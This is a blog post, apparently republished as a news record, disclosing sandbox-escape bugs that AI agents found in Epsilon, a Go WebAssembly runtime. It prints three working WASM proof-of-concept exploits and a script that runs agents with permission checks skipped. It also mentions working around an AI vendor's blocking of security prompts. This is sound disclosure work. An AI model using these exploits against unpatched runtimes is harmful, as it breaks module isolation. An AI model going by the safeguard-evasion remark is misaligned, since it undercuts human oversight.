{"slug": "all-the-bugs-they-found", "title": "All the Bugs They Found", "summary": "Security vulnerabilities found in Epsilon, a WebAssembly (WASM) runtime written in Go. AI agents discovered over 20 security flaws, including sandbox escapes that allowed malicious WASM modules to break isolation and access another module's private state. One specific vulnerability, \"Zero Is Not Null,\" occurred because Epsilon incorrectly initialized unassigned function reference locals to zero instead of null, enabling attackers to call private functions by exploiting the runtime's representation of funcrefs as integer indices.", "body_md": "# All the bugs they found\n\nLast year I wrote a small WASM runtime in Go,\n[Epsilon](https://github.com/ziggy42/epsilon). As far as runtimes go, this is\na pretty simple one: no JIT, just a pure instruction interpreter in ~11k lines of code.\nIt is also very extensively tested against the\n[official WASM testsuite](https://github.com/WebAssembly/testsuite).\n\nEpsilon is designed to be embeddable in other applications and provide a sandbox for potentially untrusted code.\n\nHow many security vulnerabilities do you think AI agents found in it?\n\n**More than 20.**\n\nMost of these were somewhat simple DoS attacks, e.g. panics during parsing or validation. Some were clear API design failures that would probably have surfaced sooner with a bit more usage of the project. A few weren't exploitable on their own, but would become serious if combined with a future bug elsewhere.\n\nA handful, though, were properly interesting: sandbox escapes that let a malicious\n[WASM module](https://developer.mozilla.org/en-US/docs/WebAssembly/Guides/Concepts#webassembly_key_concepts)\nbreak out of its isolation and reach into another module's private state. These are my\nfavorites.\n\n## Background\n\nA single Epsilon runtime can host multiple WASM modules. In the WASM security model, modules are isolated except for explicitly exported (and imported) objects. Unexported functions, memories, etc., are private to the module that defined them.\n\nWASM is a typed stack machine, but the type checking does not happen at runtime: before\nexecution, a validator walks the bytecode and verifies that at any point the values on\nthe stack have the expected type. For example, a module that tried to\n`local.set`\n\nan `i32`\n\ninto a `funcref`\n\nlocal would be\nrejected before it ever started running. Epsilon then executes blindly, trusting the\nvalidator's earlier checks.\n\nThanks to the type guarantees provided by the validator, a\n`funcref`\n\nat runtime in Epsilon is represented as an `int32`\n\n:\n`-1`\n\nis the null sentinel, and any non-negative value is an index into the\nglobal function store, shared across all modules instantiated in the runtime. As a\nresult, the constant `0`\n\nand a `funcref`\n\npointing to the first\nfunction in the store are indistinguishable during execution. This simplifies the\nimplementation and improves performance, at the cost of delegating safety entirely to\nthe validator.\n\nEach attacker module in the following sections runs alongside the same victim module:\n\n```\n(module\n  (func $secret (result i32)   ;; declares a function $secret: takes no parameters,\n                               ;; returns a 32-bit integer. Private, never exported\n    i32.const 1337             ;; pushes 1337 onto the stack; becomes the return value\n  )\n)\n```\n\nSince `$secret`\n\nis the first function instantiated into the runtime, it lives\nat store index 0. The goal of each attacker module is to get the VM to call it,\nreturning `1337`\n\n, despite never being given a legitimate\n`funcref`\n\nto it.\n\n## 1. Zero Is Not Null\n\nThe simplest of the three. Here's the attacker:\n\n```\n(module\n  (type $t (func (result i32)))   ;; the call_indirect type signature\n  (table 1 funcref)               ;; a table of size 1 (essentially an array of funcrefs).\n                                  ;; Identified by its module-level index, which is 0\n                                  ;; here since it's the first (and only) table declared\n\n  (func (export \"exploit\") (result i32)\n    (local $f funcref)            ;; declared, never assigned;\n                                  ;; per spec, ref locals default to null\n\n    i32.const 0                   ;; the slot in the table where we'll write\n                                  ;; stack: [0]\n    local.get $f                  ;; push $f's value (null)\n                                  ;; stack: [0, null]\n    table.set 0                   ;; immediate 0 picks which table to write to\n                                  ;; (tables[0]); pops two values from the stack:\n                                  ;; first the funcref (null), then the slot index.\n                                  ;; Writes tables[0][0] = null\n                                  ;; stack: []\n\n    i32.const 0                   ;; the slot in the table to fetch from next\n                                  ;; stack: [0]\n    call_indirect (type $t)       ;; pop the slot, fetch tables[0][slot] (null),\n                                  ;; and call it\n  )\n)\n```\n\nThe `exploit`\n\nfunction, while perfectly valid WASM, should trap at runtime.\nThe local `$f`\n\nis uninitialized, therefore null.\n`call_indirect`\n\nshould fail.\n\nExcept that in Epsilon, it didn't. It called `$secret`\n\ninstead.\n\nThe culprit was how locals were initialized. When a function is called, the spec\nrequires locals to be initialized to their default values: zero for numeric and vector\ntypes, but null for reference types. Epsilon achieved this by zeroing all non-parameter\nlocals using Go's `clear()`\n\n:\n\n```\n// Clear non-parameter locals to their zero values.\nclear(locals[numParams:])\n```\n\nThis was idiomatic and fast, but Go's `clear()`\n\nsimply set the local to\n`0`\n\n. Per our funcref representation, that's not null (`-1`\n\n): it's\nthe store index of `$secret`\n\n. When `exploit`\n\nwas called, rather\nthan trapping on a null `call_indirect`\n\n, the VM called the function at store\nindex 0.\n\n## 2. Phantom Block Parameter\n\nThis one combines two separate bugs:\n\n```\n(module\n  (type $t (func (result i32)))\n  (table 1 funcref)\n\n  (func (export \"exploit\") (result i32)\n    (local $f funcref)\n\n    ref.null func               ;; push a null funcref onto the stack\n    i32.const 0\n\n    (block (param i32)          ;; block consumes the i32 from the stack...\n      drop                      ;; ...and immediately drops it\n    )\n\n    local.set $f                ;; store top of stack into $f (the null funcref)\n    local.get $f\n    ref.is_null                 ;; is $f null?\n\n    if (result i32)\n      i32.const 42              ;; expected path: $f was null, return 42\n    else                        ;; unreachable path: $f is always null\n      i32.const 0\n      local.get $f\n      table.set 0\n      i32.const 0\n      call_indirect (type $t)\n    end\n  )\n)\n```\n\nIn any correct WASM implementation (and indeed in the latest version of Epsilon),\n`exploit`\n\nreturns `42`\n\n, as expected. It returned `1337`\n\ninstead.\n\n### Stack Height Misalignment\n\nDuring their execution, control-flow blocks (`block`\n\n,\n`loop`\n\n, `if`\n\n) may consume inputs from the stack and produce\nresults on it. At the end of execution the stack must look exactly as the block's\nsignature describes: N_params consumed, N_results pushed in their place. Anything the\nbody left in between has to be discarded, so the runtime needs to know how high the\nstack was when entering the block.\n\nIn Epsilon, that height was recorded when a new control frame was pushed onto the control frame stack:\n\n```\nvm.pushControlFrame(frame, controlFrame{\n    stackHeight: vm.stack.size(),   // height at block entry\n    // ...\n})\n```\n\nBut here lies the first bug: that line captures the stack height\n*after* the block's parameters are already pushed. In WASM, parameters are\n*consumed* by the block: they belong to the block, not to the surrounding scope.\nSo the validator and the VM now disagree by exactly N parameters about where \"the bottom\nof the block\" is on the stack.\n\n### Memory Resurrection\n\nWhen a block ends, the VM calls `unwind`\n\nto restore the stack to its\ndeclared, pre-block height. `targetHeight`\n\nis the stack height recorded in\nthe `controlFrame`\n\nstructure.\n\n```\nfunc (s *valueStack) unwind(targetHeight, preserveCount uint32) {\n    valuesToPreserve := s.data[s.size()-preserveCount:]\n    s.data = s.data[:targetHeight]\n    s.data = append(s.data, valuesToPreserve...)\n}\n```\n\nBecause of the stack height misalignment bug above, `targetHeight`\n\nis too\nhigh: it counts the block's parameters as if they were still on the stack. Therefore\n`s.data[:targetHeight]`\n\ncauses the slice to grow back rather than be\ntruncated. As long as `targetHeight <= cap(s.data)`\n\n, Go is happy to\nre-expose whatever was sitting in the backing array.\n\nParameters that the validator considered consumed are now resurrected on top of the stack.\n\n### Bugs Collide\n\nLet's walk through the `exploit`\n\nfunction with both bugs in mind:\n\n```\n(func (export \"exploit\") (result i32)\n  (local $f funcref)\n\n  ref.null func        ;; stack: [null_funcref]\n  i32.const 0          ;; 0 is the index where $secret happens to sit in the\n                       ;; global function store, since it was the very first\n                       ;; function instantiated\n                       ;; stack: [null_funcref, 0]\n\n  (block (param i32)   ;; bug #1: VM records stackHeight = 2; the validator,\n                       ;; treating the i32 as consumed (per spec), records 1\n    drop               ;; pops and discards the top of the stack (the 0)\n                       ;; stack: [null_funcref]\n  )                    ;; bug #2: `end` calls unwind, which sets s.data to\n                       ;; s.data[:2], so len 1 grows back to 2, and the 0 we\n                       ;; dropped resurrects on top. The top is now an int32\n                       ;; of value 0, but the validator still thinks it's a\n                       ;; funcref\n                       ;; stack: [null_funcref, 0]\n\n  local.set $f         ;; 0 is put in $f, which should be a funcref. Since\n                       ;; Epsilon's internal representation of funcref is also\n                       ;; an int32, this works at runtime\n  local.get $f         ;; stack: [null_funcref, 0]\n  ref.is_null          ;; null is -1, so 0 isn't null; pops the funcref and\n                       ;; pushes 0 (false). The top of the stack visually\n                       ;; still looks like 0, but its type changed from\n                       ;; funcref to i32\n                       ;; stack: [null_funcref, 0 (i32 false)]\n\n  if (result i32)      ;; pops the i32 condition (0, false), so the else\n                       ;; branch fires\n                       ;; stack: [null_funcref]\n    i32.const 42       ;; not taken\n  else\n    i32.const 0        ;; the slot index for the upcoming table.set\n                       ;; stack: [null_funcref, 0]\n    local.get $f       ;; the funcref value to store (actually the int32 0)\n                       ;; stack: [null_funcref, 0, 0]\n    table.set 0        ;; pops the funcref then the slot index; both are 0,\n                       ;; so tables[0][0] now holds the integer 0 dressed as\n                       ;; a funcref\n                       ;; stack: [null_funcref]\n    i32.const 0        ;; the slot index within the table to look up\n                       ;; stack: [null_funcref, 0]\n    call_indirect (type $t)\n                       ;; pops the slot index, fetches tables[0][0] (our\n                       ;; int 0 dressed as a funcref), which points at\n                       ;; store[0] = $secret. Call it.\n  end\n)\n```\n\nA perfectly valid WASM module just called an unexported function from another module. By choosing a different integer, it could reach any private function in Epsilon's global store.\n\n## 3. Ghost in the Stack\n\nThe first two exploits relied on the validator and VM disagreeing about values on the\nstack inside the sandbox. This one shifts category: the disagreement is between a host\nfunction's *declared* signature and what it *actually* returns at runtime.\n\n```\n(module\n  (type $t (func (result i32)))\n  (import \"env\" \"leak\" (func $leak (result funcref)))   ;; the host must provide env.leak\n  (table 1 funcref)\n\n  (func (export \"exploit\") (result i32)\n    i32.const 0          ;; table index\n    i32.const 0          ;; index of $secret in the global function store\n\n    call $leak           ;; declared to return a funcref; the validator thinks\n                         ;; the stack gains one new value after this call\n\n    table.set 0          ;; store the \"result\" (actually our 0) into the table\n    i32.const 0\n    call_indirect (type $t)\n    return\n  )\n)\n```\n\nFor this exploit to land, the host needs to provide a function\n`env.leak`\n\nwhose runtime behavior diverges from its signature: one that\nreturns *fewer* results than promised.\n\nIn a correct WASM implementation, the runtime should trap on that mismatch. In Epsilon, the VM blindly trusted the host's declared signature:\n\n```\nres := fun.hostCode(fun.module, args...)\nvm.stack.pushAll(res)\n```\n\nIf `leak`\n\nreturned an empty slice instead of the promised funcref,\n`pushAll`\n\ndid nothing. The validator believed a funcref had been pushed.\nInstead, the stack was unchanged.\n\nThe two `0`\n\ns pushed before `$leak`\n\nwere still on the stack. The VM\nran `table.set 0`\n\nand popped them: one as the funcref, one as the slot index.\n`tables[0][0]`\n\nnow held the integer 0. `call_indirect`\n\nfetched it\nand happily called the function at index 0, `$secret`\n\n.\n\n## Methodology\n\nI used a combination of approaches to find these bugs, starting with a script similar to\nthe one described in the\n[Black-hat LLMs](https://youtu.be/1sd26pWhfmg?t=307)\ntalk:\n\n## Show the script\n\n``` bash\n#!/bin/bash\n\n# Directory to store vulnerability reports\nVULN_DIR=\"vulnerabilities\"\nmkdir -p \"$VULN_DIR\"\n\n# List of areas to investigate\nAREAS=(\n    \"epsilon/parser.go\"\n    \"epsilon/validation.go\"\n    \"epsilon/vm.go\"\n    \"epsilon/memory.go\"\n    \"epsilon/imports.go\"\n    \"wasip1/wasi_resources.go\"\n    \"wasip1/wasi_poll.go\"\n    \"wasip1/wasi_unix.go\"\n)\n\nPROMPT_TEMPLATE=\"You are an expert security researcher and exploit developer.\n\nSTRICT CONSTRAINT: Do NOT modify any file outside the '$VULN_DIR/' directory. Do not touch 'epsilon/', 'wasip1/', or any other source file. All output goes in '$VULN_DIR/' only.\n\nYour task is to objectively investigate the following file for security vulnerabilities: %s\n\nExplore the file and any related files, data structures, or interactions it depends on. Where relevant, check behavior against the WebAssembly 2.0 specification (https://webassembly.github.io/spec/versions/core/WebAssembly-2.0.pdf) and the WASI Preview 1 specification — a deviation from spec in security-sensitive code is itself a vulnerability. Do not flag missing features from specs beyond WebAssembly 2.0.\n\nDo not assume a vulnerability exists. If after thorough investigation you find nothing exploitable, state so clearly and stop.\n\nIf you confirm a vulnerability:\n1. Create a dedicated directory: '$VULN_DIR/<vulnerability_name>/'\n2. Write 'README.md' with: root cause, impact, and reproduction steps\n3. Write a PoC exploit: a concrete, runnable demonstration (Go test, .wasm file, or script) that proves the vulnerability is triggerable by a malicious WebAssembly module without any special host configuration\"\n\n# Get agent from command line, default to claude\nAGENT=${1:-claude}\n\nif [ \"$AGENT\" == \"claude\" ]; then\n    AGENT_CMD=\"claude --dangerously-skip-permissions\"\nelif [ \"$AGENT\" == \"gemini\" ]; then\n    AGENT_CMD=\"gemini --yolo\"\nelif [ \"$AGENT\" == \"vibe\" ]; then\n    AGENT_CMD=\"vibe --trust\"\nelse\n    echo \"Usage: $0 [claude|gemini|vibe]\"\n    exit 1\nfi\n\nfor AREA in \"${AREAS[@]}\"; do\n    echo \"--------------------------------------------------\"\n    echo \"Starting investigation of area: $AREA using $AGENT\"\n    echo \"--------------------------------------------------\"\n\n    CURRENT_PROMPT=$(printf \"$PROMPT_TEMPLATE\" \"$AREA\")\n\n    $AGENT_CMD -p \"$CURRENT_PROMPT\"\n\n    echo \"Finished investigation of $AREA.\"\n    echo \"Sleeping for 10 seconds to respect rate limits...\"\n    sleep 10\ndone\n```\n\nThen I moved to a\n[skill](https://github.com/ziggy42/epsilon/blob/main/.agents/skills/security-audit/SKILL.md)\ninstead, which is slightly more convenient.\n\nI'm honestly not sure which one is better as I've used them at different times: by the time I switched, the script had already found the low-hanging fruit, so the skill never had a chance at those. Re-discovering the same bugs this way is left as an exercise to the reader.\n\nTo work around token limits, I also used a variety of models, mainly:\n\n- Gemini 3 Flash\n- Gemini 3.1 Pro\n- Opus 4.7\n\nAgain, it's hard to compare their performance as they were used at different times. Most of the more serious problems were discovered by Gemini 3.1 Pro, which is the main model I used at the beginning.\n\nTrying to work around Anthropic blocking security-related prompts does get pretty tiring though.\n\n## Closing thoughts\n\nEpsilon is a weekend hobby project, so I went in expecting agents to find\n*something*. It was still astonishing to see some of these issues. Bug #2 in\nparticular is pretty cool.\n\nPlease update to version\n[0.1.0](https://github.com/ziggy42/epsilon/blob/main/CHANGELOG.md#010---2026-05-19).", "url": "https://wpnews.pro/news/all-the-bugs-they-found", "canonical_source": "https://andreapivetta.com/posts/all-the-bugs-they-found.html", "published_at": "2026-05-19 10:33:35+00:00", "updated_at": "2026-05-21 07:36:13.094070+00:00", "lang": "en", "topics": ["cybersecurity", "open-source", "developer-tools", "research"], "entities": ["Epsilon", "WASM", "Go"], "alternates": {"html": "https://wpnews.pro/news/all-the-bugs-they-found", "markdown": "https://wpnews.pro/news/all-the-bugs-they-found.md", "text": "https://wpnews.pro/news/all-the-bugs-they-found.txt", "jsonld": "https://wpnews.pro/news/all-the-bugs-they-found.jsonld"}}